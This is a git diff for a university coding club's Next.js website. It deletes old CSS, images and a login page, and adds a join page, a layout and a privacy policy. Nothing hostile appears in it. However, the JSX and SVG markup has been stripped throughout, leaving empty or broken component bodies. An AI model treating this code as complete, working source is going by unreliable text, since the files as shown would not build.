- background-blend-mode: normal, saturation;
- background-image: url("images/background.png"), url("images/background.png");
- background-position: top, bottom;
- background-repeat: no-repeat, no-repeat;
-}
- */
-
-#bg-padding {
- background-color: #ba0c2f;
- padding-bottom: 10px;
-}
-
-.center {
- display: block;
- text-align: center;
-}
-
-.section img {
- object-fit: cover;
-}
-
-#base-background {
- background-color: #f1e9ed;
-}
-
-#filler {
- padding-top: 300px;
- height: 400px;
-}
-
-#padding {
- padding-top: 8rem;
-}
-
-#whoweare {
- font-size: 3rem;
-}
-
-#impact {
- font-size: 3rem;
- text-align: center;
-}
-
-.red-bold {
- display: inline;
- color: #cd0029;
-}
-
-.dark_red-bold {
- color: #ba0c2f;
-}
-
-#mockup {
- width: 100%;
- height: 100%;
-}
-
-#demo {
- width: 100%;
- height: 100%;
-}
-
-#mascot {
- width: 100%;
- height: 100%;
- max-width: 100%;
- max-height: 100%;
-}
-
-#about-us-mascot {
- width: 80%;
- height: 80%;
- margin-left: 10%;
-}
-
-#leadership {
- margin-bottom: 6.5rem;
- font-size: 1.8rem;
-}
-
-#team-bottom-padding {
- margin-bottom: 4rem;
-}
-
-#big {
- font-size: 4.5rem;
-}
-
-.max-img-size {
- width: 1rem;
- height: 1rem;
-}
-
-iframe {
- border: 0;
- width: 800px;
- height: 600px;
- display: block;
- padding: 10px;
- margin: auto;
-}
-
-#iframe-test {
- width: 100%;
- border: none;
-}
-
-.impact-section {
- display: block;
- align-items: center;
-}
-
-.button-grid {
- display: flex;
- flex-direction: row;
- justify-content: center;
-}
-
-#tiers {
- display: flex;
- justify-content: center;
-}
-
-#bronze {
- background-color: #ad665c;
-}
-
-#silver {
- background-color: #d8bcbc;
-}
-
-#gold {
- background-color: #f9bd9b;
-}
-
-#platinum {
- background-color: #c6c6c6;
-}
-
-#custom {
- background-color: #f08787;
-}
-
-@media only screen and (max-width: 600px) {
- .section-home {
- background-size: 100% 20%;
- }
-
- .section-resources {
- background-size: 100% 30%;
- background-position-y: -3rem;
- }
-
- .section-team {
- background-size: 100% 40%;
- background-position-y: -3rem;
- }
-
- .section-event {
- background-size: 100% 25%;
- background-position-y: -3rem;
- }
-
- .section-sponsor {
- background-size: 100% 25%;
- background-position-y: -3rem;
- }
-
- .section-about {
- background-position-y: -15rem;
- background-size: 100% 18%;
- background-blend-mode: normal, saturation;
- background-image: url("./images/background.png"),
- url("./images/background.png");
- background-position: top, bottom;
- background-repeat: no-repeat, no-repeat;
- }
-
- #who-we-are {
- display: block;
- text-align: center;
- }
-
- .hometitle {
- color: black;
- padding: 0.1rem;
- font-size: 1rem;
- }
-
- #big {
- font-size: 2rem;
- }
-
- #demo {
- width: 100%;
- height: 100%;
- }
-
- .section-header {
- font-size: 2rem;
- }
-
- .section-subheader {
- font-size: 1.5rem;
- padding-bottom: 0.4rem;
- }
-
- #abouttitle {
- margin-top: 50px;
- }
-
- #abouttitle,
- #abouttitle > h1,
- h3,
- #devdawgs {
- text-align: center;
- padding: 20px;
- }
-
- .section-event > h1 {
- font-size: 2rem;
- }
-
- #abouttitle > h1,
- #devdawgs {
- font-size: 3rem;
- }
-
- #whoweare {
- font-size: 2rem;
- }
-
- .section-about .grid {
- display: block;
- text-align: center;
- }
-
- #grid {
- margin: 10px 0px;
- display: grid;
- grid-template-columns: 1fr 1fr;
- gap: 40px;
- }
-
- .page-main-side-padding {
- padding-left: 0.5rem;
- padding-right: 0.5rem;
- }
-
- #iframe-test {
- width: 400px;
- height: max-content;
- border: none;
- }
-}
-
-@layer base {
- :root {
- --radius: 0.5rem;
- }
-}
diff --git a/src/app/icon.png b/src/app/icon.png
new file mode 100644
index 0000000..bf2392a
Binary files /dev/null and b/src/app/icon.png differ
diff --git a/src/app/images/ACM.svg b/src/app/images/ACM.svg
deleted file mode 100644
index f53e3b7..0000000
--- a/src/app/images/ACM.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/src/app/images/ACMBackground.png b/src/app/images/ACMBackground.png
deleted file mode 100644
index 566e618..0000000
Binary files a/src/app/images/ACMBackground.png and /dev/null differ
diff --git a/src/app/images/ByteX1.svg b/src/app/images/ByteX1.svg
deleted file mode 100644
index 15956c5..0000000
--- a/src/app/images/ByteX1.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/src/app/images/CSCI.svg b/src/app/images/CSCI.svg
deleted file mode 100644
index 14355ac..0000000
--- a/src/app/images/CSCI.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/src/app/images/EpiBackground.png b/src/app/images/EpiBackground.png
deleted file mode 100644
index af7ce0d..0000000
Binary files a/src/app/images/EpiBackground.png and /dev/null differ
diff --git a/src/app/images/GDC.svg b/src/app/images/GDC.svg
deleted file mode 100644
index b3f337e..0000000
--- a/src/app/images/GDC.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/src/app/images/GDCBackground.png b/src/app/images/GDCBackground.png
deleted file mode 100644
index b04916a..0000000
Binary files a/src/app/images/GDCBackground.png and /dev/null differ
diff --git a/src/app/images/GDGC_UGA.png b/src/app/images/GDGC_UGA.png
deleted file mode 100644
index 6d79ca6..0000000
Binary files a/src/app/images/GDGC_UGA.png and /dev/null differ
diff --git a/src/app/images/GDGC_UGA.svg b/src/app/images/GDGC_UGA.svg
deleted file mode 100644
index 72abca3..0000000
--- a/src/app/images/GDGC_UGA.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/src/app/images/KTP.svg b/src/app/images/KTP.svg
deleted file mode 100644
index ec5fd6c..0000000
--- a/src/app/images/KTP.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/src/app/images/KTPBackground.png b/src/app/images/KTPBackground.png
deleted file mode 100644
index 2feeb9a..0000000
Binary files a/src/app/images/KTPBackground.png and /dev/null differ
diff --git a/src/app/images/SOE.svg b/src/app/images/SOE.svg
deleted file mode 100644
index daf8b16..0000000
--- a/src/app/images/SOE.svg
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
-
-
-
-
-
diff --git a/src/app/images/SOEBackground.png b/src/app/images/SOEBackground.png
deleted file mode 100644
index c993990..0000000
Binary files a/src/app/images/SOEBackground.png and /dev/null differ
diff --git a/src/app/images/UGAHacks.png b/src/app/images/UGAHacks.png
deleted file mode 100644
index 1adaa46..0000000
Binary files a/src/app/images/UGAHacks.png and /dev/null differ
diff --git a/src/app/images/background.png b/src/app/images/background.png
deleted file mode 100644
index 1930c77..0000000
Binary files a/src/app/images/background.png and /dev/null differ
diff --git a/src/app/images/backgroundbottom.png b/src/app/images/backgroundbottom.png
deleted file mode 100644
index f929478..0000000
Binary files a/src/app/images/backgroundbottom.png and /dev/null differ
diff --git a/src/app/images/backgroundfull.png b/src/app/images/backgroundfull.png
deleted file mode 100644
index aa2cad1..0000000
Binary files a/src/app/images/backgroundfull.png and /dev/null differ
diff --git a/src/app/images/carousel1.png b/src/app/images/carousel1.png
deleted file mode 100644
index 71f1387..0000000
Binary files a/src/app/images/carousel1.png and /dev/null differ
diff --git a/src/app/images/carousel2.jpg b/src/app/images/carousel2.jpg
deleted file mode 100644
index 5a13b4b..0000000
Binary files a/src/app/images/carousel2.jpg and /dev/null differ
diff --git a/src/app/images/carousel3.jpg b/src/app/images/carousel3.jpg
deleted file mode 100644
index 6481710..0000000
Binary files a/src/app/images/carousel3.jpg and /dev/null differ
diff --git a/src/app/images/carousel4.jpg b/src/app/images/carousel4.jpg
deleted file mode 100644
index ebf0ed6..0000000
Binary files a/src/app/images/carousel4.jpg and /dev/null differ
diff --git a/src/app/images/carousel5.jpg b/src/app/images/carousel5.jpg
deleted file mode 100644
index b03b67c..0000000
Binary files a/src/app/images/carousel5.jpg and /dev/null differ
diff --git a/src/app/images/carousel6.jpg b/src/app/images/carousel6.jpg
deleted file mode 100644
index dfd2ff2..0000000
Binary files a/src/app/images/carousel6.jpg and /dev/null differ
diff --git a/src/app/images/checkmark.svg b/src/app/images/checkmark.svg
deleted file mode 100644
index c7b5b70..0000000
--- a/src/app/images/checkmark.svg
+++ /dev/null
@@ -1,3 +0,0 @@
-
-
-
\ No newline at end of file
diff --git a/src/app/images/demo.png b/src/app/images/demo.png
deleted file mode 100644
index dae5973..0000000
Binary files a/src/app/images/demo.png and /dev/null differ
diff --git a/src/app/images/devdogswelcome.png b/src/app/images/devdogswelcome.png
deleted file mode 100644
index 529a9a3..0000000
Binary files a/src/app/images/devdogswelcome.png and /dev/null differ
diff --git a/src/app/images/email.png b/src/app/images/email.png
deleted file mode 100644
index b759ee0..0000000
Binary files a/src/app/images/email.png and /dev/null differ
diff --git a/src/app/images/github-mark.svg b/src/app/images/github-mark.svg
deleted file mode 100644
index 37fa923..0000000
--- a/src/app/images/github-mark.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/src/app/images/github.png b/src/app/images/github.png
deleted file mode 100644
index 76e3af1..0000000
Binary files a/src/app/images/github.png and /dev/null differ
diff --git a/src/app/images/github.svg b/src/app/images/github.svg
deleted file mode 100644
index 70f3e63..0000000
--- a/src/app/images/github.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/src/app/images/githublogotransparent.png b/src/app/images/githublogotransparent.png
deleted file mode 100644
index 1f67c1d..0000000
Binary files a/src/app/images/githublogotransparent.png and /dev/null differ
diff --git a/src/app/images/htmllogotransparent.png b/src/app/images/htmllogotransparent.png
deleted file mode 100644
index c6dd245..0000000
Binary files a/src/app/images/htmllogotransparent.png and /dev/null differ
diff --git a/src/app/images/instagram.png b/src/app/images/instagram.png
deleted file mode 100644
index 32a57db..0000000
Binary files a/src/app/images/instagram.png and /dev/null differ
diff --git a/src/app/images/instagram.svg b/src/app/images/instagram.svg
deleted file mode 100644
index 5f49210..0000000
--- a/src/app/images/instagram.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/src/app/images/link-tree.png b/src/app/images/link-tree.png
deleted file mode 100644
index b8fa860..0000000
Binary files a/src/app/images/link-tree.png and /dev/null differ
diff --git a/src/app/images/linkedin.png b/src/app/images/linkedin.png
deleted file mode 100644
index 538e631..0000000
Binary files a/src/app/images/linkedin.png and /dev/null differ
diff --git a/src/app/images/linkedin.svg b/src/app/images/linkedin.svg
deleted file mode 100644
index 4cc45ff..0000000
--- a/src/app/images/linkedin.svg
+++ /dev/null
@@ -1 +0,0 @@
-
\ No newline at end of file
diff --git a/src/app/images/logo.png b/src/app/images/logo.png
deleted file mode 100644
index aa1bb93..0000000
Binary files a/src/app/images/logo.png and /dev/null differ
diff --git a/src/app/images/mail.svg b/src/app/images/mail.svg
deleted file mode 100644
index 3b1e1aa..0000000
--- a/src/app/images/mail.svg
+++ /dev/null
@@ -1,15 +0,0 @@
-
-
-
-
-
diff --git a/src/app/images/mascotword.png b/src/app/images/mascotword.png
deleted file mode 100644
index 6d84f7f..0000000
Binary files a/src/app/images/mascotword.png and /dev/null differ
diff --git a/src/app/images/mascotwordlight.png b/src/app/images/mascotwordlight.png
deleted file mode 100644
index 2aede36..0000000
Binary files a/src/app/images/mascotwordlight.png and /dev/null differ
diff --git a/src/app/images/mockup.png b/src/app/images/mockup.png
deleted file mode 100644
index 75af04f..0000000
Binary files a/src/app/images/mockup.png and /dev/null differ
diff --git a/src/app/images/officers/kelsey.jpg b/src/app/images/officers/kelsey.jpg
deleted file mode 100644
index 02f6058..0000000
Binary files a/src/app/images/officers/kelsey.jpg and /dev/null differ
diff --git a/src/app/images/replaceddevdog.png b/src/app/images/replaceddevdog.png
deleted file mode 100644
index fb3599f..0000000
Binary files a/src/app/images/replaceddevdog.png and /dev/null differ
diff --git a/src/app/images/tempProject.png b/src/app/images/tempProject.png
deleted file mode 100644
index 3b7d91a..0000000
Binary files a/src/app/images/tempProject.png and /dev/null differ
diff --git a/src/app/images/website.png b/src/app/images/website.png
deleted file mode 100644
index 94f84f8..0000000
Binary files a/src/app/images/website.png and /dev/null differ
diff --git a/src/app/join/page.tsx b/src/app/join/page.tsx
new file mode 100644
index 0000000..cc57aac
--- /dev/null
+++ b/src/app/join/page.tsx
@@ -0,0 +1,198 @@
+import { redirect } from "next/navigation";
+import type { PropsWithChildren, ReactNode } from "react";
+import {
+ PiArrowRightBold,
+ PiCheckCircleDuotone,
+ PiDiscordLogoBold,
+ PiGithubLogoBold,
+ PiHeartFill,
+} from "react-icons/pi";
+import FormButton from "~/components/FormButton";
+import LinkButton from "~/components/LinkButton";
+import linkDiscordProfile from "~/server/actions/linkDiscordProfile";
+import linkGithubProfile from "~/server/actions/linkGithubProfile";
+import { expectSession } from "~/server/auth";
+
+interface Props extends PropsWithChildren {
+ heading: ReactNode;
+ complete: boolean;
+}
+
+function OnboardingStep({ complete, children, heading }: Props) {
+ return (
+
+
+
+ Step
+
+ {heading}
+
+ {complete && (
+
+
+
+ )}
+
+
+ {!complete && children}
+
+ );
+}
+
+export default async function Join() {
+ const session = await expectSession("/join", {
+ user: { with: { publicProfile: true } },
+ });
+
+ const githubStepComplete = session.user.githubId !== null;
+ const discordStepComplete = session.user.discordId !== null;
+ const profileStepComplete = session.user.viewedSettings;
+
+ if (githubStepComplete && discordStepComplete && profileStepComplete) {
+ redirect("/");
+ }
+
+ return (
+
+
+
+
+ Get Access to GitHub
+ >
+ }
+ complete={githubStepComplete}
+ >
+
+
+ DevDogs uses GitHub to manage source code and organize
+ contributions.
+
+
+ Get access to this year’s project by linking your GitHub
+ account.
+
+
+ Don’t have a GitHub account? Don’t worry, it’s
+ free!
+
+
+
+
+
+
+
+ Sign In with GitHub
+
+
+
+
+
+ Join the Discord
+ >
+ }
+ complete={discordStepComplete}
+ >
+
+
+ DevDogs uses Discord for communicating with members.
+
+
+ Get access to the DevDogs server by linking your Discord account.
+
+
+ It’s like Slack, but more laid-back.
+
+
+ Don’t have a Discord account? Don’t worry, it’s
+ free!
+
+
+
+
+
+
+
+ Sign In with Discord
+
+
+
+
+
+ Complete Your Public Profile
+ >
+ }
+ complete={profileStepComplete}
+ >
+
+
+ DevDogs projects are resume- and portfolio-builders.
+
+
+ Make sure the information about you which is accessible to
+ recruiters and other students is up-to-date!
+
+
+
+
+ Go to Settings
+
+
+
+
+ );
+}
diff --git a/src/app/layout.js b/src/app/layout.js
deleted file mode 100644
index 0d66e75..0000000
--- a/src/app/layout.js
+++ /dev/null
@@ -1,29 +0,0 @@
-import NavBar from "./components/NavBar";
-import Footer from "./components/Footer";
-import PropTypes from "prop-types";
-import { Toaster } from "./components/toaster";
-import "./globals.css";
-
-export const metadata = {
- title: "DevDogs",
- description: "Building software with a purpose at the University of Georgia.",
-};
-
-export default function RootLayout({ children }) {
- return (
-
-
-
-
- {children}
-
-
-
-
-
- );
-}
-
-RootLayout.propTypes = {
- children: PropTypes.node,
-};
diff --git a/src/app/layout.tsx b/src/app/layout.tsx
new file mode 100644
index 0000000..c4ed00a
--- /dev/null
+++ b/src/app/layout.tsx
@@ -0,0 +1,66 @@
+import "~/styles/globals.css";
+
+import { addWeeks } from "date-fns";
+import { type Metadata } from "next";
+import { Hanken_Grotesk } from "next/font/google";
+import Footer from "~/components/Footer";
+import Navigation from "~/components/Navigation";
+import { getSession } from "~/server/auth";
+
+export const metadata: Metadata = {
+ title: "DevDogs",
+ description:
+ "DevDogs is a club at UGA devoted to bettering our community through open-source software.",
+ applicationName: "DevDogs",
+};
+
+const sans = Hanken_Grotesk({
+ subsets: ["latin"],
+ variable: "--font-sans",
+});
+
+export default async function RootLayout({
+ children,
+}: Readonly<{ children: React.ReactNode }>) {
+ const session = await getSession({
+ user: {
+ columns: {},
+ with: { github: { with: { points: true } }, publicProfile: true },
+ },
+ });
+
+ const currentYear = new Date().getUTCFullYear();
+ const currentYearPoints = session?.user?.github?.points?.find(
+ (points) => points.year === currentYear,
+ );
+
+ const streak = currentYearPoints
+ ? {
+ length: currentYearPoints.streakLength,
+ renewalStart: addWeeks(
+ currentYearPoints.streakStart,
+ currentYearPoints.streakLength,
+ ),
+ renewalCutoff: addWeeks(
+ currentYearPoints.streakStart,
+ currentYearPoints.streakLength + 1,
+ ),
+ }
+ : null;
+
+ return (
+
+
+
+
+ {children}
+
+
+
+
+ );
+}
diff --git a/src/app/legal/privacy/page.tsx b/src/app/legal/privacy/page.tsx
new file mode 100644
index 0000000..45fb006
--- /dev/null
+++ b/src/app/legal/privacy/page.tsx
@@ -0,0 +1,125 @@
+export default function Privacy() {
+ return (
+
+
+ DevDogs x GDG On Campus Privacy Policy
+
+
+ Effective Date: October 10, 2024
+
+
+ Last Updated: January 27, 2026
+
+
+ At DevDogs x GDG On Campus (UGA) , we value
+ transparency. This policy explains how we handle your data across the
+ DevDogs Website, Platform, Community Resource Forum, and RoboDog Discord
+ Bot (collectively, the "DevDogs System").
+
+
+ 1. The Data We Collect
+
+
+ We only store and process data you willingly provide or authorize. This
+ includes:
+
+
+
+ Identity: First/last name, preferred name, and
+ pronouns.{" "}
+
+
+ Contact: UGA email, preferred personal email, and
+ Discord username.{" "}
+
+
+ Professional/Technical: GitHub username, contribution
+ history on DevDogs projects, major, graduation year, and resume
+ links.{" "}
+
+
+ Account & Content: Encrypted passwords, profile
+ pictures, and any content or resources you post to our Community
+ Forum.{" "}
+
+
+ Participation: Membership status and event attendance
+ history (via Google Developer Groups or check-in forms).
+
+
+
+ 2. How We Use Your Data
+
+
+ Your information is used to power the DevDogs System and improve your
+ experience:
+
+
+
+ Personalization: Displaying your member profile and
+ forum contributions.{" "}
+
+
+ Leaderboards: Tracking GitHub contributions for
+ project management and Experiential Learning (EL) credit
+ opportunities.{" "}
+
+
+ Analytics: Using anonymized demographic data to show
+ potential sponsors the impact of our club and to improve our
+ programming.{" "}
+
+
+ Communication: Meeting updates, event coordination,
+ and forum notifications via Discord and email.
+
+
+
+ 3. Our Privacy Pledge
+
+
+
+ No Selling: We will never sell your data. Ever.{" "}
+
+
+ Limited Access: Only credentialed members of the
+ Executive Board (President, Technical Officer, Engagement Officer,
+ Marketing Director, and Lead Web Developer) have access to
+ administrative user data.{" "}
+
+
+ Security: Your password is encrypted and
+ indecipherable even to those with database access.
+
+
+
+ 4. Your Rights & Data Control
+
+
You have full control over your information:
+
+
+ Data Request: You may request a complete copy of all
+ data we store about you at any time.{" "}
+
+
+ Data Removal: You can request the permanent removal
+ of your data and account "no questions asked."{" "}
+
+
+ How to Exercise: Email{" "}
+ devdogs@uga.edu with your name and the subject line
+ "Data Request" or "Data Removal Request."
+
+
+
+ 5. Third-Party Services
+
+
+ We use external platforms (GitHub, Discord, and Google) to facilitate
+ club operations. If any financial transactions occur (such as dues or
+ merch), they are handled by UGA's Paciolan system. These services
+ have their own privacy policies which govern their data handling.
+
+
+ );
+}
diff --git a/src/app/login/page.js b/src/app/login/page.js
deleted file mode 100644
index 7681225..0000000
--- a/src/app/login/page.js
+++ /dev/null
@@ -1,413 +0,0 @@
-"use client";
-
-import { useState, useEffect } from "react";
-import PageTitleTemplate from "../components/PageTitleTemplate";
-// import { InputOTP, InputOTPGroup, InputOTPSlot } from "../components/input-otp";
-// import { REGEXP_ONLY_DIGITS_AND_CHARS } from "input-otp";
-import { useRouter } from "next/navigation";
-import { FaCheck, FaTimes, FaEye, FaEyeSlash } from "react-icons/fa";
-
-const Page = () => {
- const [email, setEmail] = useState("");
- const [password, setPassword] = useState("");
- const [isAuthenticated, setIsAuthenticated] = useState(false);
- const [loading, setLoading] = useState(true);
- const [showing, setShowing] = useState(false);
- // const [verifyEmail, setVerifyEmail] = useState(false);
- // const [code, setCode] = useState("");
- const [emailError, setEmailError] = useState("");
- const [showPassword, setShowPassword] = useState(false);
- const [passwordCriteria, setPasswordCriteria] = useState({
- length: false,
- uppercase: false,
- lowercase: false,
- number: false,
- specialChar: false,
- });
- const [showEmailTooltip, setShowEmailTooltip] = useState(true);
-
- const router = useRouter();
-
- const validateEmail = (email) => {
- // Updated regex to match the specified formats
- const regex = /^(?:[a-z]{3}\d{5}|[a-z]{2}\d{5})@uga\.edu$/;
- return regex.test(email);
- };
-
- // const EmailVerification = () => {
- // const verify = async () => {
- // try {
- // const data = await fetch("https://api.devdogs.uga.edu/auth/verifyEmail", {
- // method: "POST",
- // credentials: "include",
- // headers: {
- // "Content-Type": "application/json",
- // },
- // body: JSON.stringify({
- // email_address: sessionStorage.getItem("email"),
- // code: code,
- // }),
- // });
- // console.log(await data.json());
- // if (data.status == 200) {
- // console.log("User created");
- // } else {
- // console.log("User not created");
- // }
- // } catch (error) {
- // console.error(error);
- // }
- // };
-
- // return (
- //
- //
- //
Email Address
- //
- // Enter the code sent to your email below.
- //
- //
- // setCode(value)}
- // >
- //
- //
- //
- //
- //
- //
- //
- //
- //
- //
- // {/*
- // Resend Code
- // */}
- //
verify()}
- // className="w-48 text-white bg-[#BA0C2F] p-2 mt-3 rounded-[183px] shadow-sm"
- // >
- // Check
- //
- //
- //
- // );
- // };
-
- const CreateAccount = () => {
- const [email, setEmail] = useState("");
- const [password, setPassword] = useState("");
- const [emailError, setEmailError] = useState("");
- const [showPassword, setShowPassword] = useState(false);
- const [passwordCriteria, setPasswordCriteria] = useState({
- length: false,
- uppercase: false,
- lowercase: false,
- number: false,
- specialChar: false,
- });
- const [termsAndService, setTermsAndService] = useState(false);
-
- const validateEmail = (email) => {
- const regex = /^(?:[a-z]{3}\d{5}|[a-z]{2}\d{5})@uga\.edu$/;
- return regex.test(email);
- };
-
- const validatePassword = (password) => {
- setPasswordCriteria({
- length: password.length >= 8,
- uppercase: /[A-Z]/.test(password),
- lowercase: /[a-z]/.test(password),
- number: /\d/.test(password),
- specialChar: /[!@#$%^&*(),.?":{}|<>]/.test(password),
- });
- };
-
- useEffect(() => {
- validatePassword(password);
- }, [password]);
-
- const create = async () => {
- setEmailError("");
-
- if (!validateEmail(email)) {
- setEmailError(
- "Please use a valid @uga.edu email address. Email must be in the ab12345@uga.edu or abc12345@uga.edu format.",
- );
- return;
- }
-
- if (!Object.values(passwordCriteria).every(Boolean)) {
- return;
- }
-
- try {
- const data = await fetch(
- "https://api.devdogs.uga.edu/auth/createUser",
- {
- method: "POST",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- },
- body: JSON.stringify({
- email_address: email,
- password: password,
- }),
- },
- );
-
- if (data.status == 200) {
- console.log("User created");
- // setVerifyEmail(true);
- sessionStorage.setItem("email", email);
- const res = await data.json();
-
- sessionStorage.setItem("access_token", await res.access_token);
-
- router.push("/dashboard");
- } else {
- console.log("User not created");
- }
- } catch (error) {
- console.error("Account creation failed:", error);
- }
- };
-
- const togglePasswordVisibility = () => {
- setShowPassword(!showPassword);
- };
-
- return (
-
-
-
Email Address
-
{
- setEmail(e.target.value);
- }}
- placeholder="Email"
- className="w-full rounded-xl p-2"
- />
- {emailError && (
-
{emailError}
- )}
-
Password
-
- setPassword(e.target.value)}
- placeholder="Password"
- className="w-full rounded-xl p-2 pr-10"
- />
-
- {showPassword ? : }
-
-
-
-
Password must have:
-
- {Object.entries(passwordCriteria).map(([criterion, isValid]) => (
-
- {isValid ? (
-
- ) : (
-
- )}
- {criterion === "length" && "At least 8 characters"}
- {criterion === "uppercase" && "One uppercase letter"}
- {criterion === "lowercase" && "One lowercase letter"}
- {criterion === "number" && "One number"}
- {criterion === "specialChar" && "One special character"}
-
- ))}
-
-
-
-
- Create Account
-
-
-
- );
- };
-
- useEffect(() => {
- checkAuthentication();
- }, []);
-
- const checkAuthentication = async () => {
- try {
- const response = await fetch("https://api.devdogs.uga.edu/auth/session", {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- },
- });
-
- console.log(await response.json());
- if (response.status === 200) {
- setIsAuthenticated(true);
- setLoading(false);
- } else {
- setIsAuthenticated(false);
- setLoading(false);
- }
- } catch (err) {
- console.error("Failed to check authentication:", err);
- }
- };
-
- if (loading) {
- return Loading...
;
- } else {
- const token = sessionStorage.getItem("access_token");
- if (isAuthenticated && token) {
- router.push("/dashboard");
- } else {
- // continue
- }
- }
-
- const login = async () => {
- if (!validateEmail(email)) {
- setEmailError(
- "Please use a valid @uga.edu email address. Make sure it's in the ab12345@uga.edu or abc12345@uga.edu format.",
- );
- return;
- }
- setEmailError("");
-
- try {
- const response = await fetch("https://api.devdogs.uga.edu/auth/login", {
- method: "POST",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- },
- body: JSON.stringify({
- email_address: email,
- password: password,
- }),
- });
-
- if (response.status !== 200) {
- setShowing(true);
- return;
- }
-
- const data = await response.json();
- console.log(data);
- sessionStorage.setItem("email", email);
- sessionStorage.setItem("access_token", await data.access_token);
- router.refresh();
- router.push("/dashboard");
- } catch (error) {
- setShowing(true);
- console.error("Login failed:", error);
- }
- // setVerifyEmail(true);
- };
-
- return (
-
-
-
-
-
-
Email Address
-
{
- setEmail(e.target.value);
- }}
- placeholder="Email"
- className="w-full rounded-xl p-2"
- />
- {emailError && (
-
{emailError}
- )}
-
- Use your UGA email address (@uga.edu)
-
-
Password
-
setPassword(e.target.value)}
- placeholder="Password"
- className="w-full rounded-xl p-2"
- />
- {/*
*/}
- {showing ? (
-
- User with that email and password not found.
-
- ) : null}
-
login()}
- className="mt-6 w-48 rounded-[183px] bg-[#BA0C2F] p-2 text-white shadow-sm"
- >
- Log In
-
-
-
-
-
-
- Create an Account
-
-
-
-
- {/* {verifyEmail ?
:
} */}
-
- );
-};
-
-export default Page;
diff --git a/src/app/page.js b/src/app/page.js
deleted file mode 100644
index ce27e6d..0000000
--- a/src/app/page.js
+++ /dev/null
@@ -1,118 +0,0 @@
-"use client";
-import "./Home.css";
-import Button from "./components/Button";
-import logo from "./images/logo.png";
-import devdogswelcome from "./images/devdogswelcome.png";
-import mockup from "./images/mockup.png";
-import Image from "next/image";
-import Link from "next/link";
-import RolesHome from "./components/RolesHome";
-
-const Home = () => {
- return (
-
-
-
-
-
- Hey UGA!
-
-
-
- We're{" "}
-
-
- DevDogs,
-
-
-
-
-
-
-
-
-
-
-
- a team of
-
-
- passionate
-
-
- Student
-
-
-
- at UGA.
-
-
-
-
-
-
-
-
-
-
-
- We <> >
-
-
-
- develop some
- awesome
- software
-
-
- ...
-
-
- And we strive to better our community through code.
-
-
- Each year, we work hard to identify needs in Athens and solve them
- by taking solutions from concept to completion.
-
-
-
-
-
-
-
-
-
- Sound Interesting?
-
-
-
- Learn More
-
-
- Join Us!
-
-
-
-
-
- );
-};
-
-export default Home;
diff --git a/src/app/page.module.css b/src/app/page.module.css
deleted file mode 100644
index d5f54af..0000000
--- a/src/app/page.module.css
+++ /dev/null
@@ -1,51 +0,0 @@
-.logo {
- position: relative;
-}
-/* Enable hover only on non-touch devices */
-@media (hover: hover) and (pointer: fine) {
-}
-
-@media (prefers-reduced-motion) {
- .card:hover span {
- transform: none;
- }
-}
-
-/* Mobile */
-@media (max-width: 700px) {
- .navbar {
- width: 700px;
- }
-
- .grid {
- display: flex;
- flex-direction: column;
- }
-}
-
-/* Tablet and Smaller Desktop */
-@media (min-width: 701px) and (max-width: 1120px) {
- .grid {
- display: flex;
- flex-direction: column;
- }
-}
-
-@media (prefers-color-scheme: dark) {
- .vercelLogo {
- filter: invert(1);
- }
-
- .logo {
- filter: invert(1) drop-shadow(0 0 0.3rem #ffffff70);
- }
-}
-
-@keyframes rotate {
- from {
- transform: rotate(360deg);
- }
- to {
- transform: rotate(0deg);
- }
-}
diff --git a/src/app/page.tsx b/src/app/page.tsx
new file mode 100644
index 0000000..513b5cd
--- /dev/null
+++ b/src/app/page.tsx
@@ -0,0 +1,259 @@
+import Image, { type StaticImageData } from "next/image";
+import Link from "next/link";
+import type { PropsWithChildren } from "react";
+import Marquee from "react-fast-marquee";
+import { PiArrowRightBold } from "react-icons/pi";
+import backendDiscussion from "~/assets/BackendDiscussion.jpg";
+import bg from "~/assets/bg.png";
+import LinkButton from "~/components/LinkButton";
+import jack from "~/assets/jack.jpg";
+import kade from "~/assets/kade.jpg";
+import maya from "~/assets/maya.jpg";
+import nandan from "~/assets/nandan.jpg";
+import rayan from "~/assets/rayan.jpg";
+import samantha from "~/assets/samantha.jpg";
+import sloan from "~/assets/sloan.jpg";
+import zayan from "~/assets/zayan.jpg";
+import anika from "~/assets/anika.png";
+
+function MarqueeItem({ children }: PropsWithChildren) {
+ return (
+
+ {children}
+ /
+
+ );
+}
+
+interface AvatarProps {
+ name: string;
+ title: string;
+ imageSrc: StaticImageData;
+ smaller?: boolean;
+}
+
+function Avatar({ name, title, imageSrc, smaller = false }: AvatarProps) {
+ return (
+
+
+
+
+ {name}
+
+
+ {title}
+
+
+
+ );
+}
+
+export default async function HomePage() {
+ return (
+
+
+
+
+
+
+
+
+
+
+ Open-Source Software for the UGA Community.
+
+
+
+
+
+
+
+
+
+ Our Mission
+
+
+
+
+ DevDogs provides a space for ambitious, motivated students to
+ take ownership of impactful software projects from concept to
+ completion.
+
+
+ While DevDogs is one of many on-campus coding clubs, our size
+ allows us build career-readiness through a development
+ environment which reflects what students will see after they
+ graduate.
+
+
+ Every year, we embark on a new project with the goal of
+ bettering the Athens or UGA community.
+
+
+ Along the way, we teach newer developers skills they’ll
+ use throughout their careers, and we give more experienced
+ developers the ability to shape a project they’re
+ passionate about.
+
+
+
+
+ View Our Projects
+
+
+
+
+
+
+
+ Project planning by the backend team for DevDogs’{" "}
+
+ Optimal Schedule Builder
+
+ , the 2024-2025 project.
+
+
+
+
+
+
+
+ Contributors to DevDogs are
+
+
+
+ Software Engineers
+ UI Designers
+ Data Gurus
+ Impact-Havers
+ Leaders
+
+
+
+
+
+
+
+
